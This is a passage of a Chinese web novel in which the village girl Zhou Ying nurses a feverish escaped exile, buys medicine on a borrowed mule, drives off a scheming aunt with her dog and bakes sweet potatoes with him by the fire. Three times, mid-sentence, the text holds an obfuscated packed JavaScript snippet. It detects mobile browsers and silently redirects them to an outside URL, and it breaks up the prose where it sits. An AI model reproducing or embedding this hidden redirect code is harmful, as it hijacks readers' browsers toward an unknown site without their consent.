周缨将碗放至柜上，取过半卷麻布，靠墙坐下来，将桌脚架在腿上，用麻布将桌面包裹起来，拿针线固定住。 “你在做什么？”崔述勉强将眼睛掀开一条缝，往这边看过来。 “做得粗糙，有点毛刺，容易伤手。”说话间，她已拿剪刀绞断了线，左手拿着桌过来，另一只手则试图把他扶起来。 手刚伸过来，便瞧见他额上冷汗涔涔，脸色苍白得可怕。 “你怎么了？” “有点烧，不碍事。”崔述试图单手撑着坐起来，腰腹一用力，眉间顿时蹙成一团，斗大的汗珠滚落而下。 “行了。”周缨伸手虚拦一下，去触他额头，烫得她几不可察地瑟缩了一下。 再同他说话，他已经迷迷糊糊地不怎么应声了，显然方才那一遭已经耗尽了他全部的力气。 昨夜见他精神尚可，还以为及时得救没有大碍，然而她还是低估了这场冻雪的威力。 周缨心头扑通直跳，取来浸过凉水的帕子，敷在他额上。 反复几次，仍不见效，而他已烧得不省人事了。 周缨退出门来，环视周围一圈，一日夜下来，人畜来回走动，地上积雪已融了大半，残存的实在是有些脏，独独瓦上薄雪尚还算干净。 她扛来竹梯，爬上去采了半盆雪下来，用布兜了一抔，压实了系在崔述额上。 冰冰凉凉的触感立竿见影，他皱成一团的眉头舒缓不少。 不多时，雪融了些许，化成水顺着他脸颊往下滑落，周缨拿帕子替他擦干，又换一捧新雪覆在他额上，瞧见他似乎又好受了些，稍微松了口气。 然而这毕竟不是长久之计，周缨在床前来回踱步，好半晌，终于下定决心，伸手绕过他肩侧，将床榻角落的干草掀起一角，取出一个绣着腊梅的半旧荷包。 观他行事作风，所言应不至为假。 八十两，她一人再怎么折腾，按目前的情况，也得不吃不喝地忙活十来年才能攒下这些银子。 她需要钱，无论如何，她得赌这一把。 她得保住他的命。 至于他是不是真的犯了滔天大罪，其实只要不给她带来大麻烦，她暂且不愿意去深想。 更何况，她在不惹麻烦和挣黑心钱之间犹豫不决时，是上天帮她作出了决定，她愿意相信一回天意。 她不再犹疑，将荷包揣进怀里，出门从后山往五里坪去。 黑豆一路小跑跟过来，周缨赶它回去：“路远，就别跟我去了。”见它还是一副不肯的样子，又迂回道，“回去守着菜地，那几颗萝卜我瞧着长得倒还好，晚些拿来炖汤，别被那群光吃不下蛋的母鸡糟蹋了。“ 黑豆听话地停下，在原地摇着尾巴目送她走远。 途经昨日崖壁之后，周缨再次仔细查探了一番，确认之后无人再来过此地，微微放下心来。 走出去两三里地，到得五里坪，周缨往一户人家走去。 三间夯土墙垒成的矮屋并一道篱笆院门圈成的农家小院里，一个头裹灰蓝色麻布的中年妇人正在廊上拿簸箕装铡成小短的干草料。 妇人一起身就看见往这边走来的周缨，面露喜色，隔着老远同她打招呼：“阿缨，雪还没化完，路不好走，怎么就着急出来了？” 林氏名唤慈姑，虽并不是她的亲戚，勉强能算得上乡邻，却一直拿她当亲女儿般善待，周缨心头一暖，语气添了两分亲近，话家常道：“婶婶，我昨日去了集上，想着距离过年还有些时日，就没有买年货。结果今儿瞧着这天又阴下来了，怕是晴不长久，便想趁着还没下雪去置办些东西，就怕一直下到过年。” 林氏一听便明白过来她的来意，昨日镇上才赶了集，今日要去置办年货的话，便只能去邻镇，路远难行，天黑前怕赶不回来，这是来借她家的骡子来了。 “昨儿雪才刚停，你这丫头去镇上做什么？”林氏劝她道，“婶婶知道，镇上那帮雇主，能请得动男人便绝不会要女工，江老板愿意在忙的时候请你去帮小工是个很难得的机会，但他毕竟也克扣得厉害，只肯给你男工的一半工钱，也不值当。而且雪那么厚，你一个人来回那么远，路上要是出点什么事该怎么办？” “世道就是这样，我也没有什么办法。”周缨话题一转，语气轻松地带过，“而且没事，有黑豆陪我呢，那小家伙多机灵，我摔不着，您放心。” 林氏无奈摇头，将簸箕腾至左腋下夹着，冲她招手：“我正准备去喂，你也过来瞧，下了小半个月雪，没人请你成叔去帮忙驮货，这骡子歇得好，精神头足得很，等我喂完你便牵去。” 厩棚里拴着的骡子毛发油亮，双目有神，一看便知是个精力旺盛的代步好手，周缨连连道谢。 “谢什么谢。”林氏侧身笑着看她，看了半刻，笑容缓缓敛去，目光里盛满怜惜，“你娘这样……”顿了一顿，又笑起来，“得了你这样一个能干的女儿，将家里上下打理得这样好，你娘也算是还有些福气在身上。” 林氏将草料抓进食槽，叹气道：“只是叫我们这些外人看着，总觉着你不容易。” 周缨愣了片刻，抬头冲她一笑：“婶婶，我没觉得有什么不容易的。我娘如今虽不能照顾我，但我年纪也不小了，反倒可以在她跟前多尽尽孝。家里虽然穷，但人口少，花销也就小了，俭省一些，日子过着也没那么难，您没必要这么心疼我。” “你这傻丫头，这十里八乡有哪个丫头有你这般招人疼的。”林氏扬声唤夫婿过来，同她交代道，“你成叔昨日也去赶集了，这段路确实不好走，我让他送你到山脚大道上。” 杨成应声走过来，单手抚着骡子颅顶的一小搓白毛，笑着看骡子吃干草料，语气里暗藏着几分与厚实身躯不符的羞涩：“丫头，有难处只管来同你婶说，你家里的伯婶靠不住，我们也是知道的，你别同我俩客气。” 周缨笑着应下：“您看我这一遇到难题，不也直接来找您俩了吗？可见您就是不说这话，能麻烦您二位的地方，我也绝不会客气的。” 林氏被她说得一乐：“你这丫头都学会贫嘴了。”说完解下僵绳递给杨成，“去吧，路滑，仔细脚下。” 杨成不太擅言辞，一路没有说话，牵着骡子把周缨送下山，才将僵绳递给她，叮嘱道：“从这儿到隔壁镇上都是平路，但雪化到一半，滑得厉害，你当心些，路上别急，该买的东西都一次买齐，天将黑的时候叔还来这儿接你。” “诶，好嘞。”周缨未作过多推辞，别过杨成，骑着骡子往邻镇去了。 天寒路遥，借了骡子的力，也将近晌午时分，周缨才到镇上。将骡子暂寄在草料铺后，她目的明确地直奔唯一的药铺，抓了三剂风寒药便准备往回赶。走出来两步，略一思索，又回去要了六副治跌打损伤的伤药。 路过猪肉铺，屠夫冲她随口一吆喝，她顿住脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418868|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，想了片刻，同他说：“给我来五斤，切成两块，一块稍微大些。” “好嘞。”屠夫手起刀落，切下一块肉放上秤盘。 见周缨踮起脚看秤，屠夫知不好糊弄，切第二块时手松了些，足秤后拿藤条穿了递给她。 周缨数好铜板放在案板上，略微思虑一阵，又去买了些便宜年货才打道回府。 走至一半，天色阴沉得厉害，乌云层叠，果真又要下雪。 周缨叹了口气，买药竟花费了三钱银子，买肉也花了一钱银子，一下子花掉了她大半个月的进项，实在是很大一笔开销，若是打了水漂，她的境况就更雪上加霜了。 这般想着，她一心想催促骡子加快速度，又怕累到林婶家这宝贝。这骡子价值不菲，寻常小户人家养不起，由成叔和另外两户同干脚夫行当的人家合伙饲养，是三家赖以生存的金贵之物，平素珍惜得很，她只得由它不紧不慢地走着，自个儿在一旁干着急。 等行到山脚下，牵着骡子往山路上走了没几步，便瞧见杨成急匆匆地赶来，看见她便咧嘴露出一个憨厚的笑：“这天儿变得快，我和你婶就猜你会提前回来，这不紧赶慢赶的，还是迟了些。” 周缨心下感动，面上也柔和一笑：“劳累成叔和林婶为我操心。” 杨成不知接什么话好，不好意思地挠挠头，接过缰绳，沉默地牵着骡子引她往回走，走出去两步，又转头看周缨：“你脚怎么了？” “着急买完东西赶路，没留神，居然在镇上崴了。” “你这孩子。”杨成摇头道，“严重不？还能走不？别逞强，要不成叔背你回去。” “平地上崴的，不严重，只有点疼，不影响走路。我还去药铺抓了些药，大夫说回去敷几天管保没事了。” 杨成闻言放下心来，又恢复了一贯的沉默。 周缨家要更偏僻些，等到他家，周缨说什么也不肯让他再送，自行将包袱从骡身上卸下来挎在肩上，拎着一块肉往回走，解释说：“阿娘昨夜不知怎么冻着了，寒症又犯得厉害，恰好我脚又崴了，便去给我俩各抓了些药，也顺带买点肉替她补补。” 林氏知她脾气，也知这是杜氏的老毛病，应当不算打紧，因此也不强求送她回去，只叮嘱道：“这天看着马上又要下雪，我和你叔今日就不去看你娘了，你赶紧回家去，有什么事记得来找婶婶。” 周缨应下往回走，林氏嘀嘀咕咕地催杨成快去烫烫手脚，自个儿牵着骡子往厩棚里去，边走边小声嘀咕：“这丫头也没见买多少东西，实在俭省得很，估摸着是怕咱们担心，不敢说专程去给她娘抓药，才借口说要去办年货。等天彻底放晴了，你去山里转悠转悠，看能不能打点什么给她送去，给她娘俩补补。”说完又叹道，“算了，这大冬天的去哪儿打，开春再说。” 林氏刚叹完气，余光忽地瞟到鞍上还有一块鲜肉，忙回头去唤周缨，只是周缨走得快，这一小会儿功夫已经沿着小路一路疾走而去，拐过弯儿不见了人影。 林氏提着那块分量不轻的猪肉，不由再叹了一声：“这丫头，脚痛还跑这么快，就怕咱们追上还回去。” 黑云翻滚，周缨走得飞快，离家还有一里地时，黑豆远远奔过来迎她，瞧见她手上提着的肉块，馋得前脚离地，口水直流。 周缨拿脚尖把它拨开：“等回去给你分一点，这会儿先别捣乱。” 黑豆咽了咽口水，巴巴地跟在她身后，不住地摇着尾巴。 周缨乐出声来：“你这小馋鬼。” 回到家中，天色已暗，周缨先去看了眼崔述。 一整日过去，他仍旧烧得厉害，没有任何好转。 周缨叹口气，正要关门，忽听他低语了一句，这声音太小，周缨未曾听清，见他嘴唇又翕动了下，走近两步，俯下身去听他在说什么。 “沧州。” 周缨隐约听到这二字，尚未及思虑此中含意，右手猝然被一股大力握住。 周缨转头看去，对上一双黑亮的眸子。 5. 雪日晴阳（五） 暗室无灯，那双眸子里的光亮却清晰可见，满是戒备。 周缨心一沉，颇有些不敢与他对视。 只是制住自己的那只手烫得实在是厉害，她迟疑片刻，迎上他的目光，坦然道：“你烧得太厉害了，需要尽快喝药。” 腕上的力蓦然一松，周缨看过去，见他又已昏睡过去，心下微松，替他拭去额间的汗，退出门来。 她到厨房翻拣出来个耳朵磕坏了一角的瓦罐涮洗干净，将一剂风寒药倒进去，加好水，又寻来一只裂了缝的旧炉，生火引燃柴禾，将药罐放置稳当，用蒲扇扇起风来，将火烧得极旺。 没有烟道通往屋外，整间屋子都弥散着青烟，她被呛得不轻，时不时地咳上一声。 天色稍晚，杜氏还不曾吃上午饭，想来已饿得厉害，火势一起，周缨赶紧将炉中的柴添好，拿上镰刀往屋外菜地去。 冬日里蔬菜种类本就不多，况今年天怪得紧，持续大雪，青菜早就被雪打得蔫蔫儿的，地里只剩下几个萝卜，周缨挑挑拣拣拔了个个头最大的回来，在廊下将蔫叶儿削下来，拿到后院扔到鸡圈，回到厨房开始做饭。 一道炒肉，一道萝卜炖骨头。 周缨将菜分成两半，一半放在灶台上煨着，一半端至杜氏房中，笑着同她说话：“阿娘，我今日回来晚了，对不住。你饿坏了吧？” 瘦弱的妇人在朦胧的光影中歪头看她，浑浑噩噩地喊饿。 周缨心头一酸，原本还想让她单独吃，自个儿去照看崔述，此时却无论如何迈不出脚了，只好道：“阿娘，对不住，我刚误了时辰，快来吃。” 今日难得有肉，菜香四溢，杜氏拿起勺子，自顾自地吃起来。 心中惦记着另一头，周缨神思恍惚，夹了几次菜都空手而返，自个儿却并未察觉，径直将空空如也的筷子送入嘴中，甚至还无意识地咀嚼了几下。 杜氏奇怪地看了好几眼，周缨回过神来，见她不吃，主动替她夹菜，笑着同她说：“多吃点。” 这样一个简单的动作却令杜氏脸上血色急褪，神色惶惶地僵直着身子不敢动作，口中连连应道：“我吃，我吃，我吃。” 周缨仓皇放筷，放低声音轻哄：“阿娘，对不住，我没有吓你，我不给你夹菜了，你不爱吃的话就不吃，别逼自己。” 杜氏恍若未闻，将碗中所剩食物三口并作两口扒完，嚼也不嚼径直吞下，瑟缩着坐在一旁，握着筷子不敢放下。 “阿娘，不吃了不吃了，别怕啊。”周缨边轻声安抚她，边用巧力将筷子从她紧握的右手中抽出。 怕再次无意识地惊吓到她，周缨也不敢继续停留，赶紧端着小几离开，出门时回看，见杜氏仍然蜷缩着身子，鼻尖没忍住一酸，强忍着回到厨房。 阿娘受此地所困，日夜紧绷，境况越来越不好，必须要尽早离开。 她迫自己迅速平复，一边照看炉中火候，一边将先前剔下来的鲜肉肉皮切成小块，熬出小半碗油，再将熬干的肉皮剁成碎块，拌在米糠和菜汤里搅匀。 黑豆早就急不可耐地在她脚边不停地打着转儿，见她不动，乖乖退开几步，眼巴巴地等着，等周缨将食物倒入它的碗中，才急奔过来，狼吞虎咽起来。 周缨不自觉地一笑，从方才的愁绪中解脱出来，自言自语道：“跟着我真是委屈你了，我瞧人家江老板家的狗顿顿都能吃上肉呢。不过屋里那位要真是个财神爷呢，等拿到银子我一定多买些肉给你吃。”说罢拿着碗回到厨房，见药已经熬好，倒入碗中晾了一阵，等温度合适了，端至屋里，强行将崔述唤醒。 崔述烧得迷迷瞪瞪，勉强睁开眼来，听见周缨问他：“能喝药吗？” “可以。”他声儿极弱。 周缨将他扶着靠坐起来，拿勺将药喂给他。 体力不支，崔述喝得极慢，一勺药也要喝上两口才能咽完。 周缨心里焦急，但面上不显，耐心地将这碗药慢慢喂给他。 等他喝完药，周缨扶他歇下，退出门来，看着纷飞的夜雪，暗暗叹了口气。 一整日没吃饭，她其实饿得厉害，却没什么胃口，搛了两块萝卜并榨菜下饭，吃了小半碗便再咽不下去，只好又坐到灶下熬起药来。 再抬头往外看时，天色浓如泼墨，这才惊觉已又过了一个时辰。 周缨回到隔壁，见药效尚可，崔述已褪了高热，烫得不再那么厉害，顿时长舒一口气。 崔述迷糊间睁眼来看她，听见她问：“烧退了些，现在吃得下东西吗？” 崔述比先前清醒不少，身子也不再那么乏力，慢慢撑着坐起来，同她道：“可以。” 周缨端来饭菜放在小桌上：“吃点东西垫垫肚子，晚些再喝一服药。” 右手行动不便，周缨给他的是把汤匙，崔述用汤匙舀了一块萝卜，细嚼慢咽地吃完，又抬头看她：“多谢。” “不必客气。” 崔述不再出声，安安静静地填饱肚子。 煨久了的菜味道自然不佳，何况对于患病之人而言，这肉微有些油腻，米饭也糙得厉害，但市井小民一年恐怕也难吃上几次肉，这显然已是这个贫寒之家最拿得出手的食物了，他强忍住胃里的恶心，就着菜吃完小半碗饭，同周缨道：“够了。” “就吃这么点儿？是不是还不舒服得厉害？” 庄稼人饭量都大，两碗饭见底不带饱的，家家户户常年地里收回的稻谷都不够吃，周缨头一回见这么慢吞吞吃饭，饭量还不及黑豆的男人，多看了他几眼，确认他是真的没有食欲，才过来收碗。 她手刚触及瓷碗，屋外一声大嗓门儿传进来——“阿缨”。 周缨手一顿，顺势将碗重新搁回桌上。 脚步声停在门口，紧接着门被推动了一下，那声音疑惑得紧：“既点着灯没睡，怎么不应声儿？” 周缨比了个噤声的手势，快速将帐幔放下。 外头徐氏的声音提高了三分：“还躲着你大伯母不成？” 周缨快速往门口走去，边走边将棉袄上面的盘扣解开两颗，顺带将头发扯乱三分。 门被推开的一瞬，周缨拿脚尖抵住了门。 门仅隙开一条缝，徐氏原本满脸谄媚，瞧见她形容凌乱满脸冷漠，表情一连三变，最后讽道：“哟，开个门都这么慢，成日家嘴上说着不肯嫁，背地里却不干不净地偷汉子不成？” 周缨正在系扣的手一滞，陡然动怒：“你瞎编排什么呢？再说一遍？” 徐氏瞧她似要发作，堆满笑说：“小祖宗嘞，跟你开个玩笑而已，至于生这么大气吗？这十里八乡谁不知道你们娘俩儿都是贞洁烈女，哪个男人敢招惹？” “贞洁烈女”四字被她咬得极重，周缨冷嗤：“有事说事，你再阴阳怪气一句试试。” “好好好，”徐氏敛了神色，正要说明来意，忽地鼻尖一痒，怪道，“你病了？满屋子药味儿。” “脚崴了，怎么？” “脚崴了？严重——”话说到一半，徐氏鼻子一耸，大惊小怪道，“你还舍得买肉？一年到头也没见你家开几次荤，又不过年又不过节的，”她眼角一挑，“你发横财了？” 周缨忍无可忍，上手将她往外推，砰地带上门，从外面落了锁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418869|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你这贱蹄子，把我当贼一样防。”徐氏气得跳脚，“真是白养你几年，早知道当初就该让你饿死！” 乡野村妇叫骂起来火力十足，一副要将四邻一并叫过来评理的架势。好在他们家孤门独院，并不会引来看热闹的乡邻。 周缨半倚在门框上，好整以暇地看着她撒泼，过往种种令人不悦的记忆逐渐聚合，慢慢凝成面前这张刻薄的脸。 徐氏仍在喋喋不休地叫骂，等她消停了，周缨才冷淡发问：“所以你当初是被猪油蒙了心，才施舍了我几碗掺了土渣子的馊饭吗？” 徐氏被揭了老底，脸一阵红一阵白，将肩上挎的竹篮重重往地上一放：“好心给你们娘俩儿送点吃的过来，真是狗咬吕洞宾，你和你娘都是一个德性，早晚被天收！” “谁稀罕，你拿走。” 见周缨软硬不吃，徐氏强逼自个儿平心静气地同她讲道理：“你那会儿年纪小，不明事理，错怪了大伯母的好心，大伯母不跟你计较。” “错怪？”周缨冷笑。 徐氏同她强攀亲热，拉过她的手要叙家常。 周缨如被蛇咬一般，瑟缩了一下，强行把右手抽了回来。 徐氏古怪地打量着她，见她反瞪回来，又挤出笑说:“咱丫头年纪也到了，白日里天气不错，邻镇的赵铁匠散集后就托了人来找你大伯，说你这丫头模样还算标致，又勤快能干，一人将一个家打理得还勉强像个模样，是个好生过日子的，想讨你去给他家三小子做媳妇。你瞧瞧，媒人诚心说合，天色晚了才回，等她一走我就去窖里忙活了大半天，把个头最大的红薯都挑了出来，赶紧给你拿了过来……” 周缨一口气哽在喉间。 想必是午间去抓药时被人看到了，没想到今日走这一趟，倒还牵扯出了这样一件令人啼笑皆非的事。 “赵铁匠家的三儿子？”她似笑非笑。 “是啊。”徐氏满脸堆笑，“就邻镇东头那铁匠铺，家底算咱们附近几个场镇里数一数二的，怎么样，伯父伯母没亏待你吧？” 周缨不痛不痒地“哦”了一声：“是不是天天坐在铁匠铺前的那个鼻歪嘴斜口水直流的傻子？” 徐氏脸上臊得慌，扭扭捏捏地点头：“怎么说话呢？就是反应比常人慢了点，但懂疼人的，绝不会亏待了你。” 周缨眼神一冷，自打父亲过世，徐氏便总想打她家这两间破房子和两亩薄田的主意，但因了娘亲的一些旧闻，表面上倒还有所收敛，如今见娘亲越发不好了，竟这般急不可耐地盘算着要将她卖个好价钱。 “黑豆！” 周缨陡然喊了一嗓子。 徐氏猝然受惊，原形毕露，指着她鼻子骂：“一条捡来的死瘟狗，天天当宝贝似的！” “咬她！” 听闻号令，刚从厨房里蹿出来的黑豆迅疾抖落刚在灶下钻的满身炭灰，直扑徐氏。 徐氏见这恶犬目露凶光，吓得连连后退。 黑豆一跃而起，“嘶啦”一声，将她厚实的棉裤撕了一大截下来。 出师告捷，黑豆龇着牙瞪她，持续低吠以示警告。 徐氏一个趔趄，栽倒在满院残雪和泥泞中，骂道：“你这丧尽天良的小畜生！”边骂边抹眼泪，假惺惺地哭嚎，“可怜我那早死的弟弟，要知道他竟生养了这么个东西，还不得气活过……” “黑豆！” 徐氏连滚带爬地逃了出去，哭丧似的躲到崖后，才破口大骂起来。 周缨开锁进门，神色冷峻地束起帘幔。 崔述抬眼看过来，隔着晦暗的灯火，低低笑了一声。 6. 深山雪重（一） “笑什么笑，没见过放狗咬人？好生焐着。”周缨这会子形容凌乱，又被人笑话，一时恼羞成怒，剜他一眼，端上碗出了门。 崔述乐了一阵，见她又端着一碗新煎好的药返回，承她照顾，自然敛了笑意，乖乖喝药。 等他喝完，周缨将小桌收至柜上，扶他躺下，替他掖好被子，吹灯出门。 药效一起，脑袋晕晕沉沉的，光线昏暗，崔述不自觉地又眠了过去。 再醒来时，顿觉精神头好了不少。他摸索着坐起来，扶墙走到窗下，将封得严严实实的窗户拨开一条缝，往外望去。 夜色沉沉，窸窸窣窣洒落一院白。 昏昏沉沉地过了一日，他一时辨不清时辰，迟疑了下，轻轻将门隙开一条缝，瞧见隔壁房间灯火已熄，扶墙慢慢走进东侧低矮的耳房。 他推开门，没瞧见人影，只有灶膛中的火光照亮四壁。 他往内走去，行动不畅，镣铐惊起轻微声响，周缨从后门探头进来瞧见他，慌张道：“你怎么出来了？快回去。” 崔述指指火光：“有点冷。” “想烤火？” “嗯。” 她那屋子的确太小，床上又是铺的干草，崔述状态又不好，难以及时察觉异常，放火盆进去容易把床一起燎了，之前冒险端火进去给他烤衣服，她都一直悬着一颗心。 反正已近子时，应该不会再有人来，周缨在作裙上擦净手，将家里唯一一把扶手椅搬来给他：“坐吧。”又把门栓插上，将熏笼上的衣物和鞋袜递给他。 崔述接过来，没有动作。 周缨纳闷儿地摸了摸：“都烘了一天一夜了，干了啊。” 衣物上沾了淡淡的木炭烟熏味，又被隐隐的皂角清香中和。鞋上被划破的地方已经被缝补好，针线细密，又在里面添了几层布料，比先前厚实许多。 “多谢。”崔述将衣裳放至一旁的椅上，弯腰艰难地穿上袜子，换上自个儿的麻鞋。 周缨起身替他将衣裳披好，又自灶中铲了一铲烧得正旺的红炭出来倒在地上，火势陡旺，烘得他面色酡红。 “一整日就吃了那么点儿东西，饿没？” 崔述老实点头。 周缨从桌上的竹篮中挑了两个个头饱满的红薯，到后院洗净回来，埋进火堆里，“太晚了，不想动锅了，烤个红薯给你吃吧。” “好。” 周缨没忍住一乐：“你是不是有点呆？什么都说好。” 她笑起来时倒显出她的真实年纪来，和他这几日见惯的冷肃模样出入颇大，崔述看呆刹那，默然收回眼。 周缨也不管他，回到后院继续忙活，等烤红薯的香味飘到后院，才拿着一支以麻布包裹好的木拐走进来。 “你试试。” 崔述接过，站起来放至左腋下，稳稳当当地走了两步。 “矮了小半寸，差得不多，不影响用，就不改了。”周缨坐下来，拿竹篾拨出红薯，赤手翻了个转儿，重新放上火堆。 崔述拄拐走回椅前坐下，将拐杖放至椅侧，左手抚在其上的麻布上。 留意到他的动作，周缨解释道：“时间紧，打磨不出完全平整的，不缠容易划伤手，将就着用吧，你家人到了自然会再替你买新的。” “我不是这个意思。”崔述收回视线，再度同她道谢，“多谢。” 周缨没应声，神色依旧保持几分淡漠。 崔述也已习惯了她的性情，并不在意，借着红彤彤的火光，抬眼看向她沾染了几片碎雪的鬓发，忽然发问：“你叫什么？” 周缨奇怪地盯他一眼：“怎么想起来问这个？我叫什么有什么要紧的？”又不解道，“你不是听到我伯母叫我了么？” “听到了，只不知是哪个字？‘落英’的‘英’？” 周缨想了想，答不出来，反手掰断一根枯树枝，在泥地上划了几笔。 “你会写字？”崔述颇为惊喜，然而仔细看去，那字歪歪扭扭的，他辨了好半天，才认出来是个近乎睡倒的“缨”字。 “不会。”周缨坦然得很，“没钱念书，小时候看阿娘写过，大概就长这样吧？太久了，我也记不太清了，模仿着画过几次，也不知道对不对。” 崔述微愕，抬眸打量她一眼，试图透过浓密的睫毛，窥探出三分她被遮去的心绪。 见周缨侧头来看他，意识到失礼，崔述收回目光，应道：“对的。形是对的，是这个字。” 周缨不甚在意地“哦”了声。 “但结构不对，这字不应该这样写。”他觑她一眼，“你想不想学，我可以教你。” 周缨闻言，拿脚随意往土上一踢，将那歪歪斜斜的字迹抹了，用竹篾将红薯拨出来，笑着看他，一副混不吝的模样：“学来做什么？” 崔述哑然。 她赤手拿起一个红薯，在掌心翻来覆去地拍打了几下，将沾上的炭灰拍干净，递给崔述。 崔述迟疑了下，伸出左手来接。 “嫌脏？”周缨收回手，将红薯皮撕下来，握住红薯底部重新递给他。 “不是。” 崔述这回速度快了些，赶紧伸手接过。 黑豆闻着香从角落里爬出来，在脚边蹭来蹭去，周缨将刚撕下来的红薯皮扔给它，笑说：“这小崽子，闻到点儿香味，觉都不睡了。” 崔述低笑了声，埋头咬了一口。 刚出炉的烤红薯香得馋人，然而实在太烫，他手不方便，正左右为难，周缨将红薯接过去，取一片枯叶缠住底部，再次递回给他。等他接过，自个儿利落褪了另一个红薯的皮，埋头专注地吃起来。 崔述吃东西慢，周缨边烤火边等他吃完，才问他：“洗把脸？” 又是一个“好”字，周缨见怪不怪，打了盆热水过来，拧好帕子递给他。 崔述擦洗完，同她别过，拄着她新做的木拐，一瘸一拐地往屋里走。 转身关厨房门的时候，他刻意多停留了一阵。 周缨蹲在灶下，注视着方才围坐的火堆，尔后，拿起木棍，跟着地上残存的字迹，专注地描起自己的名字来。 崔述多看了一眼，带上了门。 - 这两日觉睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418870|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足，崔述第二日醒得早。 东方未明，四野俱寂。 他打开房门，站在檐下，在如墨的夜色里打量周围的环境。 这户人家只有两间矮小的夯土房，并一个更为低矮的耳房，独门独户地隐在崖后，借地势之故，若非逐寸搜查，的确很难发现此处，倒是个极佳的蜇伏之处。 刑部签发批文将他流放郢县，一路移交给沿途州府，押解的官差换了一批又一批，原本初十那日他将被移送明州府，而明州府今秋复核时定下足足二十余人发往郢县，等同明州府汇合交接完毕，押解的官差人数必然大增，他再要脱身就很难做到悄无声息，于是只能选在这一段路上动作。 原本上一段的同行之人皆已被移送完毕，只剩他一人，看管必然松懈，于是他提前派亲随埋伏在半路，预备半道脱困。 谁知官差因心急返程回家过年，天一转晴就临时弃了官道，改从此处抄近道解送他前往明州府，这才打乱了他先前的计划，于是他只能冒险一博，而他的亲随此刻也必然已经发现不对劲，循着蛛丝马迹往这边摸过来了。 只是今日这轮新雪的势头比前几日还要大上许多，亲随不知还要几日才能确切地寻到此处，而在官差放弃搜寻之前，他既不可能让周缨这样一个手无寸铁的女子去替他送信，更要防范着官差查到此处来。 以他目前的状况，没有名医良药，一月半载间很难恢复到行动自如，更何况，他孤身一人，绝不能现身人前，否则恐会再陷囹圄。 如今这境况，还真只能以不变应万变，待手下人尽快寻来。 他想得深，站了盏茶功夫，风吹朔雪，寒意扑面而来。 他拄着拐慢慢走至厨房，门似乎从内被抵住了，他用了全力才将门推开。 周缨被惊动，自灶下睡眼惺忪地抬头看他。 崔述颇有些吃惊：“你没睡？” 周缨“嗯”了声，目光越过他落在黑沉沉的夜色里，面露诧异：“这时辰，你起来做什么？” “睡够了。”他跨过周缨拿来挡门用的两块柴禾，看向她乱糟糟的头发，“你要不要去睡会儿？” 周缨不说话，将头埋进臂弯，好一阵没动静。 崔述慢慢走到她身旁坐下，将那支用起来还算趁手的木拐放至一旁。 周缨看着他缓慢但还算有条不紊的动作，往火堆中添了几块干柴，应了他方才的话：“好，我去睡一小会儿，你自个儿当心。” 崔述点头。 周缨走至门口，回头问他：“等会儿要天亮了，虽然雪大，还是不能大意。你过来关门不方便，我在外头将门锁上？” “好。” 周缨也不再多言，关门落锁回到隔壁。 久不通风的室内弥散着淡淡的发闷的味道，她将门窗大敞开，行到榻前去整理床铺。 家中没有多余的褥被，周缨将棉被翻了个面儿吹着，等室内的浊气散得差不多了，抓紧时间上床休息。 卧榻内萦着一股淡淡的药味儿，却令她觉得莫名心安，双眼才将将阖上，倦意便已涌来，沉沉地睡了过去。 7. 深山雪重（二） 连日劳累奔波，尽管在睡前极力暗示自己，醒来还有要事要处理万不能贪睡，周缨这一觉仍睡得沉，足足两个时辰才醒来。 她收拾完床榻回到厨房时，崔述正坐在灶后，将地上未烧完的柴禾放入灶膛中，听见开门声，回头看来。 周缨步子微顿：“你在做什么？” “烧水。” “渴了？”周缨径直走到灶后，往水壶中掺入两瓢冷水，又将他方才预备好的柴禾放入炉中，将水壶放在炉上烧着，才解释道，“壶里烧出来的水干净些。” 火势起得快，火光映在崔述面上，添上一层橘色的光晕。 周缨注视了他片刻，又透过后门看了眼已然大晓的天色，起身将两道门一并堵死，寻来斧头和凿刀，撂在他脚边。 “你坐那个矮凳。” 崔述不明所以，但还是乖乖把扶手椅拖走，缓慢挪至那张矮条凳上坐下。 周缨拿来一个木桩，放在他身前半尺处，拿斧头用力往下敲了六七下，将木桩固定在土里。 这动作来得突然又迅猛，崔述定定地看着眼前的女子，似乎是在讶异，这样惊人的力道竟是由这样一副弱小的身躯所发出。 留意到他的目光，周缨动作顿了一顿，又若无其事地将斧子放回原位。 蜷在灶下的黑豆被惊动，起身抖落一身灰，迷迷瞪瞪地绕着崔述走了一圈，缓缓摇起尾来。 “这小畜生好像还挺喜欢你。” 崔述伸出左手，想去摸摸它脑袋，似是嫌脏，手伸到一半又停在半空。 黑豆主动凑上前来，舔了舔他的食指。 